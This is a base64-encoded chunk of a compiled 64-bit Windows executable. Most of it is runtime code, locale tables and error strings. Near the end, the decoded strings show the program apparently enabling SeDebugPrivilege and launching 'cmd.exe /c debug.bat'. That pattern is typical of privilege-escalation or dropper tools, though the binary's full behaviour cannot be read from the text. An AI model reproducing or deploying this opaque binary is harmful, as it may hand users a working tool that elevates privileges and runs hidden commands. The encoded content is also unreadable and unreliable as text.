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AGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4AIABJAHQAIABpAHMAIABtAG8AcwB0ACAAbABpAGsAZQBsAHkAIAB0AGgAZQAgAHIAZQBzAHUAbAB0ACAAbwBmACAAYwBhAGwAbABpAG4AZwAgAGEAbgAgAE0AUwBJAEwALQBjAG8AbQBwAGkAbABlAGQAIAAoAC8AYwBsAHIAKQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAcgBvAG0AIABhACAAbgBhAHQAaQB2AGUAIABjAG8AbgBzAHQAcgB1AGMAdABvAHIAIABvAHIAIABmAHIAbwBtACAARABsAGwATQBhAGkAbgAuAA0ACgAAAAAAUgA2ADAAMwAyAA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAGMAYQBsAGUAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAAAAAAAAAAAAAFIANgAwADEAOAANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABoAGUAYQBwACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAAAAAAAAAAAAUgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAAAAAAAAAAABSADYAMAAwADkADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQADQAKAAAAAAAAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAAAAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAAAAAAFCAAIABAAAACAAAAAAAAADwfwCAAQAAAAkAAAAAAAAAkH8AgAEAAAAKAAAAAAAAAEB/AIABAAAAEAAAAAAAAADgfgCAAQAAABEAAAAAAAAAgH4AgAEAAAASAAAAAAAAADB+AIABAAAAEwAAAAAAAADQfQCAAQAAABgAAAAAAAAAYH0AgAEAAAAZAAAAAAAAABB9AIABAAAAGgAAAAAAAACgfACAAQAAABsAAAAAAAAAMHwAgAEAAAAcAAAAAAAAAOB7AIABAAAAHgAAAAAAAACYewCAAQAAAB8AAAAAAAAA0HoAgAEAAAAgAAAAAAAAAGB6AIABAAAAIQAAAAAAAABweACAAQAAAHgAAAAAAAAASHgAgAEAAAB5AAAAAAAAACh4AIABAAAAegAAAAAAAAAIeACAAQAAAPwAAAAAAAAAAHgAgAEAAAD/AAAAAAAAAOB3AIABAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAAoACgAAAAAAAAAAAC4ALgAuAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAaAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAUABQAEAAQABAAEAAQABQAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0dldFByb2Nlc3NXaW5kb3dTdGF0aW9uAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAAAAAAAAR2V0TGFzdEFjdGl2ZVBvcHVwAAAAAAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAAAAAABVAFMARQBSADMAMgAuAEQATABMAAAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgVHlwZSBEZXNjcmlwdG9yJwAAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAAAAAAAAYG9tbmkgY2FsbHNpZycAACBkZWxldGVbXQAAACBuZXdbXQAAAAAAAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAABgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHN0cmluZycAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGB0eXBlb2YnAAAAAAAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAAAAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZAAAAAAAX19yZXN0cmljdAAAAAAAAF9fcHRyNjQAX19lYWJpAABfX2NscmNhbGwAAAAAAAAAX19mYXN0Y2FsbAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX3N0ZGNhbGwAAAAAAAAAX19wYXNjYWwAAAAAAAAAAF9fY2RlY2wAX19iYXNlZCgAAAAAAAAAAAAAAAAAAAAAiJEAgAEAAACAkQCAAQAAAHCRAIABAAAAYJEAgAEAAABQkQCAAQAAAECRAIABAAAAMJEAgAEAAAAokQCAAQAAACCRAIABAAAAEJEAgAEAAAAAkQCAAQAAAP2QAIABAAAA+JAAgAEAAADwkACAAQAAAOyQAIABAAAA6JAAgAEAAADkkACAAQAAAOCQAIABAAAA3JAAgAEAAADYkACAAQAAANSQAIABAAAAyJAAgAEAAADEkACAAQAAAMCQAIABAAAAvJAAgAEAAAC4kACAAQAAALSQAIABAAAAsJAAgAEAAACskACAAQAAAKiQAIABAAAApJAAgAEAAACgkACAAQAAAJyQAIABAAAAmJAAgAEAAACUkACAAQAAAJCQAIABAAAAjJAAgAEAAACIkACAAQAAAISQAIABAAAAgJAAgAEAAAB8kACAAQAAAHiQAIABAAAAdJAAgAEAAABwkACAAQAAAGyQAIABAAAAaJAAgAEAAABkkACAAQAAAGCQAIABAAAAXJAAgAEAAABYkACAAQAAAFSQAIABAAAAUJAAgAEAAABMkACAAQAAAECQAIABAAAAMJAAgAEAAAAokACAAQAAABiQAIABAAAAAJAAgAEAAADwjwCAAQAAANiPAIABAAAAuI8AgAEAAACYjwCAAQAAAHiPAIABAAAAWI8AgAEAAAA4jwCAAQAAABCPAIABAAAA8I4AgAEAAADIjgCAAQAAAKiOAIABAAAAgI4AgAEAAABgjgCAAQAAAFCOAIABAAAASI4AgAEAAABAjgCAAQAAADCOAIABAAAACI4AgAEAAAD8jQCAAQAAAPCNAIABAAAA4I0AgAEAAADAjQCAAQAAAKCNAIABAAAAeI0AgAEAAABQjQCAAQAAACiNAIABAAAA+IwAgAEAAADYjACAAQAAALCMAIABAAAAiIwAgAEAAABYjACAAQAAACiMAIABAAAACIwAgAEAAAD9kACAAQAAAPCLAIABAAAA0IsAgAEAAAC4iwCAAQAAAJiLAIABAAAAeIsAgAEAAAAAAAAAAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAAAAAAAAAAAAvYyBkZWJ1Zy5iYXQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAAAAAAAAEAAAAA